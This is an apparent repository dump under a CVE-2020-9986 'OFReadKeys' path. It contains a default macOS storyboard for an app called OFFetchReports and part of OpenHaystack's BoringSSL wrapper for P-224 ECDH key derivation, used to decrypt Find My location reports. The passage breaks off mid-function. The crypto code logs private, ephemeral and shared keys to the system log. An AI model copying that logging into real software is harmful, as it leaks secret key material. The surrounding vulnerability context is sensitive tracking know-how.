<document type="com.apple.InterfaceBuilder3.Cocoa.Storyboard.XIB" version="3.0" toolsVersion="14814" targetRuntime="MacOSX.Cocoa" propertyAccessControl="none" useAutolayout="YES">
<dependencies>
<plugIn identifier="com.apple.InterfaceBuilder.CocoaPlugin" version="14814"/>
</dependencies>
<scenes>
<!--Application-->
<scene sceneID="JPo-4y-FX3">
<objects>
<application id="hnw-xV-0zn" sceneMemberID="viewController">
<menu key="mainMenu" title="Main Menu" systemMenu="main" id="AYu-sK-qS6">
<items>
<menuItem title="OFFetchReports" id="1Xt-HY-uBw">
<modifierMask key="keyEquivalentModifierMask"/>
<menu key="submenu" title="OFFetchReports" systemMenu="apple" id="uQy-DD-JDr">
<items>
<menuItem title="About OFFetchReports" id="5kV-Vb-QxS">
<modifierMask key="keyEquivalentModifierMask"/>
<connections>
<action selector="orderFrontStandardAboutPanel:" target="Ady-hI-5gd" id="Exp-CZ-Vem"/>
</connections>
</menuItem>
<menuItem isSeparatorItem="YES" id="VOq-y0-SEH"/>
<menuItem title="Preferences…" keyEquivalent="," id="BOF-NM-1cW"/>
<menuItem isSeparatorItem="YES" id="wFC-TO-SCJ"/>
<menuItem title="Services" id="NMo-om-nkz">
<modifierMask key="keyEquivalentModifierMask"/>
<menu key="submenu" title="Services" systemMenu="services" id="hz9-B4-Xy5"/>
</menuItem>
<menuItem isSeparatorItem="YES" id="4je-JR-u6R"/>
<menuItem title="Hide OFFetchReports" keyEquivalent="h" id="Olw-nP-bQN">
<connections>
<action selector="hide:" target="Ady-hI-5gd" id="PnN-Uc-m68"/>
</connections>
</menuItem>
<menuItem title="Hide Others" keyEquivalent="h" id="Vdr-fp-XzO">
<modifierMask key="keyEquivalentModifierMask" option="YES" command="YES"/>
<connections>
<action selector="hideOtherApplications:" target="Ady-hI-5gd" id="VT4-aY-XCT"/>
</connections>
</menuItem>
<menuItem title="Show All" id="Kd2-mp-pUS">
<modifierMask key="keyEquivalentModifierMask"/>
<connections>
<action selector="unhideAllApplications:" target="Ady-hI-5gd" id="Dhg-Le-xox"/>
</connections>
</menuItem>
<menuItem isSeparatorItem="YES" id="kCx-OE-vgT"/>
<menuItem title="Quit OFFetchReports" keyEquivalent="q" id="4sb-4s-VLi">
<connections>
<action selector="terminate:" target="Ady-hI-5gd" id="Te7-pn-YzF"/>
</connections>
</menuItem>
</items>
</menu>
</menuItem>
<menuItem title="File" id="dMs-cI-mzQ">
<modifierMask key="keyEquivalentModifierMask"/>
<menu key="submenu" title="File" id="bib-Uj-vzu">
<items>
<menuItem title="New" keyEquivalent="n" id="Was-JA-tGl">
<connections>
<action selector="newDocument:" target="Ady-hI-5gd" id="4Si-XN-c54"/>
</connections>
</menuItem>
<menuItem title="Open…" keyEquivalent="o" id="IAo-SY-fd9">
<connections>
<action selector="openDocument:" target="Ady-hI-5gd" id="bVn-NM-KNZ"/>
</connections>
</menuItem>
<menuItem title="Open Recent" id="tXI-mr-wws">
<modifierMask key="keyEquivalentModifierMask"/>
<menu key="submenu" title="Open Recent" systemMenu="recentDocuments" id="oas-Oc-fiZ">
<items>
<menuItem title="Clear Menu" id="vNY-rz-j42">
<modifierMask key="keyEquivalentModifierMask"/>
<connections>
<action selector="clearRecentDocuments:" target="Ady-hI-5gd" id="Daa-9d-B3U"/>
</connections>
</menuItem>
</items>
</menu>
</menuItem>
<menuItem isSeparatorItem="YES" id="m54-Is-iLE"/>
<menuItem title="Close" keyEquivalent="w" id="DVo-aG-piG">
<connections>
<action selector="performClose:" target="Ady-hI-5gd" id="HmO-Ls-i7Q"/>
</connections>
</menuItem>
<menuItem title="Save…" keyEquivalent="s" id="pxx-59-PXV">
<connections>
<action selector="saveDocument:" target="Ady-hI-5gd" id="teZ-XB-qJY"/>
</connections>
</menuItem>
<menuItem title="Save As…" keyEquivalent="S" id="Bw7-FT-i3A">
<connections>
<action selector="saveDocumentAs:" target="Ady-hI-5gd" id="mDf-zr-I0C"/>
</connections>
</menuItem>
<menuItem title="Revert to Saved" keyEquivalent="r" id="KaW-ft-85H">
<connections>
<action selector="revertDocumentToSaved:" target="Ady-hI-5gd" id="iJ3-Pv-kwq"/>
</connections>
</menuItem>
<menuItem isSeparatorItem="YES" id="aJh-i4-bef"/>
<menuItem title="Page Setup…" keyEquivalent="P" id="qIS-W8-SiK">
<modifierMask key="keyEquivalentModifierMask" shift="YES" command="YES"/>
<connections>
<action selector="runPageLayout:" target="Ady-hI-5gd" id="Din-rz-gC5"/>
</connections>
</menuItem>
<menuItem title="Print…" keyEquivalent="p" id="aTl-1u-JFS">
<connections>
<action selector="print:" target="Ady-hI-5gd" id="qaZ-4w-aoO"/>
</connections>
</menuItem>
</items>
</menu>
</menuItem>
<menuItem title="Edit" id="5QF-Oa-p0T">
<modifierMask key="keyEquivalentModifierMask"/>
<menu key="submenu" title="Edit" id="W48-6f-4Dl">
<items>
<menuItem title="Undo" keyEquivalent="z" id="dRJ-4n-Yzg">
<connections>
<action selector="undo:" target="Ady-hI-5gd" id="M6e-cu-g7V"/>
</connections>
</menuItem>
<menuItem title="Redo" keyEquivalent="Z" id="6dh-zS-Vam">
<connections>
<action selector="redo:" target="Ady-hI-5gd" id="oIA-Rs-6OD"/>
</connections>
</menuItem>
<menuItem isSeparatorItem="YES" id="WRV-NI-Exz"/>
<menuItem title="Cut" keyEquivalent="x" id="uRl-iY-unG">
<connections>
<action selector="cut:" target="Ady-hI-5gd" id="YJe-68-I9s"/>
</connections>
</menuItem>
<menuItem title="Copy" keyEquivalent="c" id="x3v-GG-iWU">
<connections>
<action selector="copy:" target="Ady-hI-5gd" id="G1f-GL-Joy"/>
</connections>
</menuItem>
<menuItem title="Paste" keyEquivalent="v" id="gVA-U4-sdL">
<connections>
<action selector="paste:" target="Ady-hI-5gd" id="UvS-8e-Qdg"/>
</connections>
</menuItem>
<menuItem title="Paste and Match Style" keyEquivalent="V" id="WeT-3V-zwk">
<modifierMask key="keyEquivalentModifierMask" option="YES" command="YES"/>
<connections>
<action selector="pasteAsPlainText:" target="Ady-hI-5gd" id="cEh-KX-wJQ"/>
</connections>
</menuItem>
<menuItem title="Delete" id="pa3-QI-u2k">
<modifierMask key="keyEquivalentModifierMask"/>
<connections>
<action selector="delete:" target="Ady-hI-5gd" id="0Mk-Ml-PaM"/>
</connections>
</menuItem>
<menuItem title="Select All" keyEquivalent="a" id="Ruw-6m-B2m">
<connections>
<action selector="selectAll:" target="Ady-hI-5gd" id="VNm-Mi-diN"/>
</connections>
</menuItem>
<menuItem isSeparatorItem="YES" id="uyl-h8-XO2"/>
<menuItem title="Find" id="4EN-yA-p0u">
<modifierMask key="keyEquivalentModifierMask"/>
<menu key="submenu" title="Find" id="1b7-l0-nxx">
<items>
<menuItem title="Find…" tag="1" keyEquivalent="f" id="Xz5-n4-O0W">
<connections>
<action selector="performFindPanelAction:" target="Ady-hI-5gd" id="cD7-Qs-BN4"/>
</connections>
</menuItem>
<menuItem title="Find and Replace…" tag="12" keyEquivalent="f" id="YEy-JH-Tfz">
<modifierMask key="keyEquivalentModifierMask" option="YES" command="YES"/>
<connections>
<action selector="performFindPanelAction:" target="Ady-hI-5gd" id="WD3-Gg-5AJ"/>
</connections>
</menuItem>
<menuItem title="Find Next" tag="2" keyEquivalent="g" id="q09-fT-Sye">
<connections>
<action selector="performFindPanelAction:" target="Ady-hI-5gd" id="NDo-RZ-v9R"/>
</connections>
</menuItem>
<menuItem title="Find Previous" tag="3" keyEquivalent="G" id="OwM-mh-QMV">
<connections>
<action selector="performFindPanelAction:" target="Ady-hI-5gd" id="HOh-sY-3ay"/>
</connections>
</menuItem>
<menuItem title="Use Selection for Find" tag="7" keyEquivalent="e" id="buJ-ug-pKt">
<connections>
<action selector="performFindPanelAction:" target="Ady-hI-5gd" id="U76-nv-p5D"/>
</connections>
</menuItem>
<menuItem title="Jump to Selection" keyEquivalent="j" id="S0p-oC-mLd">
<connections>
<action selector="centerSelectionInVisibleArea:" target="Ady-hI-5gd" id="IOG-6D-g5B"/>
</connections>
</menuItem>
</items>
</menu>
</menuItem>
<menuItem title="Spelling and Grammar" id="Dv1-io-Yv7">
<modifierMask key="keyEquivalentModifierMask"/>
<menu key="submenu" title="Spelling" id="3IN-sU-3Bg">
<items>
<menuItem title="Show Spelling and Grammar" keyEquivalent=":" id="HFo-cy-zxI">
<connections>
<action selector="showGuessPanel:" target="Ady-hI-5gd" id="vFj-Ks-hy3"/>
</connections>
</menuItem>
<menuItem title="Check Document Now" keyEquivalent=";" id="hz2-CU-CR7">
<connections>
<action selector="checkSpelling:" target="Ady-hI-5gd" id="fz7-VC-reM"/>
</connections>
</menuItem>
<menuItem isSeparatorItem="YES" id="bNw-od-mp5"/>
<menuItem title="Check Spelling While Typing" id="rbD-Rh-wIN">
<modifierMask key="keyEquivalentModifierMask"/>
<connections>
<action selector="toggleContinuousSpellChecking:" target="Ady-hI-5gd" id="7w6-Qz-0kB"/>
</connections>
</menuItem>
<menuItem title="Check Grammar With Spelling" id="mK6-2p-4JG">
<modifierMask key="keyEquivalentModifierMask"/>
<connections>
<action selector="toggleGrammarChecking:" target="Ady-hI-5gd" id="muD-Qn-j4w"/>
</connections>
</menuItem>
<menuItem title="Correct Spelling Automatically" id="78Y-hA-62v">
<modifierMask key="keyEquivalentModifierMask"/>
<connections>
<action selector="toggleAutomaticSpellingCorrection:" target="Ady-hI-5gd" id="2lM-Qi-WAP"/>
</connections>
</menuItem>
</items>
</menu>
</menuItem>
<menuItem title="Substitutions" id="9ic-FL-obx">
<modifierMask key="keyEquivalentModifierMask"/>
<menu key="submenu" title="Substitutions" id="FeM-D8-WVr">
<items>
<menuItem title="Show Substitutions" id="z6F-FW-3nz">
<modifierMask key="keyEquivalentModifierMask"/>
<connections>
<action selector="orderFrontSubstitutionsPanel:" target="Ady-hI-5gd" id="oku-mr-iSq"/>
</connections>
</menuItem>
<menuItem isSeparatorItem="YES" id="gPx-C9-uUO"/>
<menuItem title="Smart Copy/Paste" id="9yt-4B-nSM">
<modifierMask key="keyEquivalentModifierMask"/>
<connections>
<action selector="toggleSmartInsertDelete:" target="Ady-hI-5gd" id="3IJ-Se-DZD"/>
</connections>
</menuItem>
<menuItem title="Smart Quotes" id="hQb-2v-fYv">
<modifierMask key="keyEquivalentModifierMask"/>
<connections>
<action selector="toggleAutomaticQuoteSubstitution:" target="Ady-hI-5gd" id="ptq-xd-QOA"/>
</connections>
</menuItem>
<menuItem title="Smart Dashes" id="rgM-f4-ycn">
<modifierMask key="keyEquivalentModifierMask"/>
<connections>
<action selector="toggleAutomaticDashSubstitution:" target="Ady-hI-5gd" id="oCt-pO-9gS"/>
</connections>
</menuItem>
<menuItem title="Smart Links" id="cwL-P1-jid">
<modifierMask key="keyEquivalentModifierMask"/>
<connections>
<action selector="toggleAutomaticLinkDetection:" target="Ady-hI-5gd" id="Gip-E3-Fov"/>
</connections>
</menuItem>
<menuItem title="Data Detectors" id="tRr-pd-1PS">
<modifierMask key="keyEquivalentModifierMask"/>
<connections>
<action selector="toggleAutomaticDataDetection:" target="Ady-hI-5gd" id="R1I-Nq-Kbl"/>
</connections>
</menuItem>
<menuItem title="Text Replacement" id="HFQ-gK-NFA">
<modifierMask key="keyEquivalentModifierMask"/>
<connections>
<action selector="toggleAutomaticTextReplacement:" target="Ady-hI-5gd" id="DvP-Fe-Py6"/>
</connections>
</menuItem>
</items>
</menu>
</menuItem>
<menuItem title="Transformations" id="2oI-Rn-ZJC">
<modifierMask key="keyEquivalentModifierMask"/>
<menu key="submenu" title="Transformations" id="c8a-y6-VQd">
<items>
<menuItem title="Make Upper Case" id="vmV-6d-7jI">
<modifierMask key="keyEquivalentModifierMask"/>
<connections>
<action selector="uppercaseWord:" target="Ady-hI-5gd" id="sPh-Tk-edu"/>
</connections>
</menuItem>
<menuItem title="Make Lower Case" id="d9M-CD-aMd">
<modifierMask key="keyEquivalentModifierMask"/>
<connections>
<action selector="lowercaseWord:" target="Ady-hI-5gd" id="iUZ-b5-hil"/>
</connections>
</menuItem>
<menuItem title="Capitalize" id="UEZ-Bs-lqG">
<modifierMask key="keyEquivalentModifierMask"/>
<connections>
<action selector="capitalizeWord:" target="Ady-hI-5gd" id="26H-TL-nsh"/>
</connections>
</menuItem>
</items>
</menu>
</menuItem>
<menuItem title="Speech" id="xrE-MZ-jX0">
<modifierMask key="keyEquivalentModifierMask"/>
<menu key="submenu" title="Speech" id="3rS-ZA-NoH">
<items>
<menuItem title="Start Speaking" id="Ynk-f8-cLZ">
<modifierMask key="keyEquivalentModifierMask"/>
<connections>
<action selector="startSpeaking:" target="Ady-hI-5gd" id="654-Ng-kyl"/>
</connections>
</menuItem>
<menuItem title="Stop Speaking" id="Oyz-dy-DGm">
<modifierMask key="keyEquivalentModifierMask"/>
<connections>
<action selector="stopSpeaking:" target="Ady-hI-5gd" id="dX8-6p-jy9"/>
</connections>
</menuItem>
</items>
</menu>
</menuItem>
</items>
</menu>
</menuItem>
<menuItem title="Format" id="jxT-CU-nIS">
<modifierMask key="keyEquivalentModifierMask"/>
<menu key="submenu" title="Format" id="GEO-Iw-cKr">
<items>
<menuItem title="Font" id="Gi5-1S-RQB">
<modifierMask key="keyEquivalentModifierMask"/>
<menu key="submenu" title="Font" systemMenu="font" id="aXa-aM-Jaq">
<items>
<menuItem title="Show Fonts" keyEquivalent="t" id="Q5e-8K-NDq">
<connections>
<action selector="orderFrontFontPanel:" target="YLy-65-1bz" id="WHr-nq-2xA"/>
</connections>
</menuItem>
<menuItem title="Bold" tag="2" keyEquivalent="b" id="GB9-OM-e27">
<connections>
<action selector="addFontTrait:" target="YLy-65-1bz" id="hqk-hr-sYV"/>
</connections>
</menuItem>
<menuItem title="Italic" tag="1" keyEquivalent="i" id="Vjx-xi-njq">
<connections>
<action selector="addFontTrait:" target="YLy-65-1bz" id="IHV-OB-c03"/>
</connections>
</menuItem>
<menuItem title="Underline" keyEquivalent="u" id="WRG-CD-K1S">
<connections>
<action selector="underline:" target="Ady-hI-5gd" id="FYS-2b-JAY"/>
</connections>
</menuItem>
<menuItem isSeparatorItem="YES" id="5gT-KC-WSO"/>
<menuItem title="Bigger" tag="3" keyEquivalent="+" id="Ptp-SP-VEL">
<connections>
<action selector="modifyFont:" target="YLy-65-1bz" id="Uc7-di-UnL"/>
</connections>
</menuItem>
<menuItem title="Smaller" tag="4" keyEquivalent="-" id="i1d-Er-qST">
<connections>
<action selector="modifyFont:" target="YLy-65-1bz" id="HcX-Lf-eNd"/>
</connections>
</menuItem>
<menuItem isSeparatorItem="YES" id="kx3-Dk-x3B"/>
<menuItem title="Kern" id="jBQ-r6-VK2">
<modifierMask key="keyEquivalentModifierMask"/>
<menu key="submenu" title="Kern" id="tlD-Oa-oAM">
<items>
<menuItem title="Use Default" id="GUa-eO-cwY">
<modifierMask key="keyEquivalentModifierMask"/>
<connections>
<action selector="useStandardKerning:" target="Ady-hI-5gd" id="6dk-9l-Ckg"/>
</connections>
</menuItem>
<menuItem title="Use None" id="cDB-IK-hbR">
<modifierMask key="keyEquivalentModifierMask"/>
<connections>
<action selector="turnOffKerning:" target="Ady-hI-5gd" id="U8a-gz-Maa"/>
</connections>
</menuItem>
<menuItem title="Tighten" id="46P-cB-AYj">
<modifierMask key="keyEquivalentModifierMask"/>
<connections>
<action selector="tightenKerning:" target="Ady-hI-5gd" id="hr7-Nz-8ro"/>
</connections>
</menuItem>
<menuItem title="Loosen" id="ogc-rX-tC1">
<modifierMask key="keyEquivalentModifierMask"/>
<connections>
<action selector="loosenKerning:" target="Ady-hI-5gd" id="8i4-f9-FKE"/>
</connections>
</menuItem>
</items>
</menu>
</menuItem>
<menuItem title="Ligatures" id="o6e-r0-MWq">
<modifierMask key="keyEquivalentModifierMask"/>
<menu key="submenu" title="Ligatures" id="w0m-vy-SC9">
<items>
<menuItem title="Use Default" id="agt-UL-0e3">
<modifierMask key="keyEquivalentModifierMask"/>
<connections>
<action selector="useStandardLigatures:" target="Ady-hI-5gd" id="7uR-wd-Dx6"/>
</connections>
</menuItem>
<menuItem title="Use None" id="J7y-lM-qPV">
<modifierMask key="keyEquivalentModifierMask"/>
<connections>
<action selector="turnOffLigatures:" target="Ady-hI-5gd" id="iX2-gA-Ilz"/>
</connections>
</menuItem>
<menuItem title="Use All" id="xQD-1f-W4t">
<modifierMask key="keyEquivalentModifierMask"/>
<connections>
<action selector="useAllLigatures:" target="Ady-hI-5gd" id="KcB-kA-TuK"/>
</connections>
</menuItem>
</items>
</menu>
</menuItem>
<menuItem title="Baseline" id="OaQ-X3-Vso">
<modifierMask key="keyEquivalentModifierMask"/>
<menu key="submenu" title="Baseline" id="ijk-EB-dga">
<items>
<menuItem title="Use Default" id="3Om-Ey-2VK">
<modifierMask key="keyEquivalentModifierMask"/>
<connections>
<action selector="unscript:" target="Ady-hI-5gd" id="0vZ-95-Ywn"/>
</connections>
</menuItem>
<menuItem title="Superscript" id="Rqc-34-cIF">
<modifierMask key="keyEquivalentModifierMask"/>
<connections>
<action selector="superscript:" target="Ady-hI-5gd" id="3qV-fo-wpU"/>
</connections>
</menuItem>
<menuItem title="Subscript" id="I0S-gh-46l">
<modifierMask key="keyEquivalentModifierMask"/>
<connections>
<action selector="subscript:" target="Ady-hI-5gd" id="Q6W-4W-IGz"/>
</connections>
</menuItem>
<menuItem title="Raise" id="2h7-ER-AoG">
<modifierMask key="keyEquivalentModifierMask"/>
<connections>
<action selector="raiseBaseline:" target="Ady-hI-5gd" id="4sk-31-7Q9"/>
</connections>
</menuItem>
<menuItem title="Lower" id="1tx-W0-xDw">
<modifierMask key="keyEquivalentModifierMask"/>
<connections>
<action selector="lowerBaseline:" target="Ady-hI-5gd" id="OF1-bc-KW4"/>
</connections>
</menuItem>
</items>
</menu>
</menuItem>
<menuItem isSeparatorItem="YES" id="Ndw-q3-faq"/>
<menuItem title="Show Colors" keyEquivalent="C" id="bgn-CT-cEk">
<connections>
<action selector="orderFrontColorPanel:" target="Ady-hI-5gd" id="mSX-Xz-DV3"/>
</connections>
</menuItem>
<menuItem isSeparatorItem="YES" id="iMs-zA-UFJ"/>
<menuItem title="Copy Style" keyEquivalent="c" id="5Vv-lz-BsD">
<modifierMask key="keyEquivalentModifierMask" option="YES" command="YES"/>
<connections>
<action selector="copyFont:" target="Ady-hI-5gd" id="GJO-xA-L4q"/>
</connections>
</menuItem>
<menuItem title="Paste Style" keyEquivalent="v" id="vKC-jM-MkH">
<modifierMask key="keyEquivalentModifierMask" option="YES" command="YES"/>
<connections>
<action selector="pasteFont:" target="Ady-hI-5gd" id="JfD-CL-leO"/>
</connections>
</menuItem>
</items>
</menu>
</menuItem>
<menuItem title="Text" id="Fal-I4-PZk">
<modifierMask key="keyEquivalentModifierMask"/>
<menu key="submenu" title="Text" id="d9c-me-L2H">
<items>
<menuItem title="Align Left" keyEquivalent="{" id="ZM1-6Q-yy1">
<connections>
<action selector="alignLeft:" target="Ady-hI-5gd" id="zUv-R1-uAa"/>
</connections>
</menuItem>
<menuItem title="Center" keyEquivalent="|" id="VIY-Ag-zcb">
<connections>
<action selector="alignCenter:" target="Ady-hI-5gd" id="spX-mk-kcS"/>
</connections>
</menuItem>
<menuItem title="Justify" id="J5U-5w-g23">
<modifierMask key="keyEquivalentModifierMask"/>
<connections>
<action selector="alignJustified:" target="Ady-hI-5gd" id="ljL-7U-jND"/>
</connections>
</menuItem>
<menuItem title="Align Right" keyEquivalent="}" id="wb2-vD-lq4">
<connections>
<action selector="alignRight:" target="Ady-hI-5gd" id="r48-bG-YeY"/>
</connections>
</menuItem>
<menuItem isSeparatorItem="YES" id="4s2-GY-VfK"/>
<menuItem title="Writing Direction" id="H1b-Si-o9J">
<modifierMask key="keyEquivalentModifierMask"/>
<menu key="submenu" title="Writing Direction" id="8mr-sm-Yjd">
<items>
<menuItem title="Paragraph" enabled="NO" id="ZvO-Gk-QUH">
<modifierMask key="keyEquivalentModifierMask"/>
</menuItem>
<menuItem id="YGs-j5-SAR">
<string key="title"> Default</string>
<modifierMask key="keyEquivalentModifierMask"/>
<connections>
<action selector="makeBaseWritingDirectionNatural:" target="Ady-hI-5gd" id="qtV-5e-UBP"/>
</connections>
</menuItem>
<menuItem id="Lbh-J2-qVU">
<string key="title"> Left to Right</string>
<modifierMask key="keyEquivalentModifierMask"/>
<connections>
<action selector="makeBaseWritingDirectionLeftToRight:" target="Ady-hI-5gd" id="S0X-9S-QSf"/>
</connections>
</menuItem>
<menuItem id="jFq-tB-4Kx">
<string key="title"> Right to Left</string>
<modifierMask key="keyEquivalentModifierMask"/>
<connections>
<action selector="makeBaseWritingDirectionRightToLeft:" target="Ady-hI-5gd" id="5fk-qB-AqJ"/>
</connections>
</menuItem>
<menuItem isSeparatorItem="YES" id="swp-gr-a21"/>
<menuItem title="Selection" enabled="NO" id="cqv-fj-IhA">
<modifierMask key="keyEquivalentModifierMask"/>
</menuItem>
<menuItem id="Nop-cj-93Q">
<string key="title"> Default</string>
<modifierMask key="keyEquivalentModifierMask"/>
<connections>
<action selector="makeTextWritingDirectionNatural:" target="Ady-hI-5gd" id="lPI-Se-ZHp"/>
</connections>
</menuItem>
<menuItem id="BgM-ve-c93">
<string key="title"> Left to Right</string>
<modifierMask key="keyEquivalentModifierMask"/>
<connections>
<action selector="makeTextWritingDirectionLeftToRight:" target="Ady-hI-5gd" id="caW-Bv-w94"/>
</connections>
</menuItem>
<menuItem id="RB4-Sm-HuC">
<string key="title"> Right to Left</string>
<modifierMask key="keyEquivalentModifierMask"/>
<connections>
<action selector="makeTextWritingDirectionRightToLeft:" target="Ady-hI-5gd" id="EXD-6r-ZUu"/>
</connections>
</menuItem>
</items>
</menu>
</menuItem>
<menuItem isSeparatorItem="YES" id="fKy-g9-1gm"/>
<menuItem title="Show Ruler" id="vLm-3I-IUL">
<modifierMask key="keyEquivalentModifierMask"/>
<connections>
<action selector="toggleRuler:" target="Ady-hI-5gd" id="FOx-HJ-KwY"/>
</connections>
</menuItem>
<menuItem title="Copy Ruler" keyEquivalent="c" id="MkV-Pr-PK5">
<modifierMask key="keyEquivalentModifierMask" control="YES" command="YES"/>
<connections>
<action selector="copyRuler:" target="Ady-hI-5gd" id="71i-fW-3W2"/>
</connections>
</menuItem>
<menuItem title="Paste Ruler" keyEquivalent="v" id="LVM-kO-fVI">
<modifierMask key="keyEquivalentModifierMask" control="YES" command="YES"/>
<connections>
<action selector="pasteRuler:" target="Ady-hI-5gd" id="cSh-wd-qM2"/>
</connections>
</menuItem>
</items>
</menu>
</menuItem>
</items>
</menu>
</menuItem>
<menuItem title="View" id="H8h-7b-M4v">
<modifierMask key="keyEquivalentModifierMask"/>
<menu key="submenu" title="View" id="HyV-fh-RgO">
<items>
<menuItem title="Show Toolbar" keyEquivalent="t" id="snW-S8-Cw5">
<modifierMask key="keyEquivalentModifierMask" option="YES" command="YES"/>
<connections>
<action selector="toggleToolbarShown:" target="Ady-hI-5gd" id="BXY-wc-z0C"/>
</connections>
</menuItem>
<menuItem title="Customize Toolbar…" id="1UK-8n-QPP">
<modifierMask key="keyEquivalentModifierMask"/>
<connections>
<action selector="runToolbarCustomizationPalette:" target="Ady-hI-5gd" id="pQI-g3-MTW"/>
</connections>
</menuItem>
<menuItem isSeparatorItem="YES" id="hB3-LF-h0Y"/>
<menuItem title="Show Sidebar" keyEquivalent="s" id="kIP-vf-haE">
<modifierMask key="keyEquivalentModifierMask" control="YES" command="YES"/>
<connections>
<action selector="toggleSidebar:" target="Ady-hI-5gd" id="iwa-gc-5KM"/>
</connections>
</menuItem>
<menuItem title="Enter Full Screen" keyEquivalent="f" id="4J7-dP-txa">
<modifierMask key="keyEquivalentModifierMask" control="YES" command="YES"/>
<connections>
<action selector="toggleFullScreen:" target="Ady-hI-5gd" id="dU3-MA-1Rq"/>
</connections>
</menuItem>
</items>
</menu>
</menuItem>
<menuItem title="Window" id="aUF-d1-5bR">
<modifierMask key="keyEquivalentModifierMask"/>
<menu key="submenu" title="Window" systemMenu="window" id="Td7-aD-5lo">
<items>
<menuItem title="Minimize" keyEquivalent="m" id="OY7-WF-poV">
<connections>
<action selector="performMiniaturize:" target="Ady-hI-5gd" id="VwT-WD-YPe"/>
</connections>
</menuItem>
<menuItem title="Zoom" id="R4o-n2-Eq4">
<modifierMask key="keyEquivalentModifierMask"/>
<connections>
<action selector="performZoom:" target="Ady-hI-5gd" id="DIl-cC-cCs"/>
</connections>
</menuItem>
<menuItem isSeparatorItem="YES" id="eu3-7i-yIM"/>
<menuItem title="Bring All to Front" id="LE2-aR-0XJ">
<modifierMask key="keyEquivalentModifierMask"/>
<connections>
<action selector="arrangeInFront:" target="Ady-hI-5gd" id="DRN-fu-gQh"/>
</connections>
</menuItem>
</items>
</menu>
</menuItem>
<menuItem title="Help" id="wpr-3q-Mcd">
<modifierMask key="keyEquivalentModifierMask"/>
<menu key="submenu" title="Help" systemMenu="help" id="F2S-fz-NVQ">
<items>
<menuItem title="OFFetchReports Help" keyEquivalent="?" id="FKE-Sm-Kum">
<connections>
<action selector="showHelp:" target="Ady-hI-5gd" id="y7X-2Q-9no"/>
</connections>
</menuItem>
</items>
</menu>
</menuItem>
</items>
</menu>
<connections>
<outlet property="delegate" destination="Voe-Tx-rLC" id="PrD-fu-P6m"/>
</connections>
</application>
<customObject id="Voe-Tx-rLC" customClass="AppDelegate" customModuleProvider="target"/>
<customObject id="YLy-65-1bz" customClass="NSFontManager"/>
<customObject id="Ady-hI-5gd" userLabel="First Responder" customClass="NSResponder" sceneMemberID="firstResponder"/>
</objects>
<point key="canvasLocation" x="75" y="0.0"/>
</scene>
</scenes>
</document>
================================================
FILE: CVE-2020-9986/OFReadKeys/OFFetchReports/BoringSSL/BoringSSL.h
================================================
//
// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
//
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
// Copyright © 2021 The Open Wireless Link Project
//
// SPDX-License-Identifier: AGPL-3.0-only
//
#import <Foundation/Foundation.h>
NS_ASSUME_NONNULL_BEGIN
@interface BoringSSL : NSObject
+ (NSData * _Nullable) deriveSharedKeyFromPrivateKey: (NSData *) privateKey andEphemeralKey: (NSData*) ephemeralKeyPoint;
/// Derive a public key from a given private key
/// @param privateKeyData an EC private key on the P-224 curve
/// @returns The public key in a compressed format using 29 bytes. The first byte is used for identifying if its odd or even.
/// For OF the first byte has to be dropped
+ (NSData * _Nullable) derivePublicKeyFromPrivateKey: (NSData*) privateKeyData;
/// Generate a new EC private key and exports it as data
+ (NSData * _Nullable) generateNewPrivateKey;
@end
NS_ASSUME_NONNULL_END
================================================
FILE: CVE-2020-9986/OFReadKeys/OFFetchReports/BoringSSL/BoringSSL.m
================================================
//
// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
//
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
// Copyright © 2021 The Open Wireless Link Project
//
// SPDX-License-Identifier: AGPL-3.0-only
//
#import "BoringSSL.h"
#include <CNIOBoringSSL.h>
#include <CNIOBoringSSL_ec.h>
#include <CNIOBoringSSL_ec_key.h>
#include <CNIOBoringSSL_evp.h>
#include <CNIOBoringSSL_hkdf.h>
#include <CNIOBoringSSL_pkcs7.h>
@implementation BoringSSL
+ (NSData * _Nullable) deriveSharedKeyFromPrivateKey: (NSData *) privateKey andEphemeralKey: (NSData*) ephemeralKeyPoint {
NSLog(@"Private key %@", [privateKey base64EncodedStringWithOptions:0]);
NSLog(@"Ephemeral key %@", [ephemeralKeyPoint base64EncodedStringWithOptions:0]);
EC_GROUP *curve = EC_GROUP_new_by_curve_name(NID_secp224r1);
EC_KEY *key = [self deriveEllipticCurvePrivateKey:privateKey group:curve];
const EC_POINT *genPubKey = EC_KEY_get0_public_key(key);
[self printPoint:genPubKey withGroup:curve];
EC_POINT *publicKey = EC_POINT_new(curve);
size_t load_success = EC_POINT_oct2point(curve, publicKey, ephemeralKeyPoint.bytes, ephemeralKeyPoint.length, NULL);
if (load_success == 0) {
NSLog(@"Failed loading public key!");
return nil;
}
NSMutableData *sharedKey = [[NSMutableData alloc] initWithLength:28];
int res = ECDH_compute_key(sharedKey.mutableBytes, sharedKey.length, publicKey, key, nil);
if (res < 1) {
NSLog(@"Failed with error: %d", res);
BIO *bio = BIO_new(BIO_s_mem());
ERR_print_errors(bio);
char *buf;
size_t len = BIO_get_mem_data(bio, &buf);
NSLog(@"Generating shared key failed %s", buf);
BIO_free(bio);
}
NSLog(@"Shared key: %@", [sharedKey base64EncodedStringWithOptions:0]);
return sharedKey;
}
+ (EC_POINT * _Nullable) loadEllipticCurvePublicBytesWith: (EC_GROUP *) group andPointBytes: (NSData *) pointBytes {
EC_POINT* point = EC_POINT_new(group);
//Create big number context
BN_CTX *ctx = BN_CTX_new();
BN_CTX_start(ctx);
//Public key will be stored in point
int res = EC_POINT_oct2point(group, point, pointBytes.bytes, pointBytes.length, ctx);
[self printPoint:point withGroup:group];
//Free the big numbers
BN_CTX_free(ctx);
if (res != 1) {
//Failed
return nil;
}
return point;
}
/// Get the private key on the curve from the private key bytes
/// @param privateKeyData NSData representing the private key
/// @param group The EC group representing the curve to use
+ (EC_KEY * _Nullable) deriveEllipticCurvePrivateKey: (NSData *)privateKeyData group: (EC_GROUP *) group {
EC_KEY *key = EC_KEY_new_by_curve_name(NID_secp224r1);
EC_POINT *point = EC_POINT_new(group);
BN_CTX *ctx = BN_CTX_new();
BN_CTX_start(ctx);
BIGNUM *privateKeyNum = BN_bin2bn(privateKeyData.bytes, privateKeyData.length, nil);
int res = EC_POINT_mul(group, point, privateKeyNum, nil, nil, ctx);
if (res != 1) {
NSLog(@"Failed");
return nil;
}
res = EC_KEY_set_public_key(key, point);
if (res != 1) {
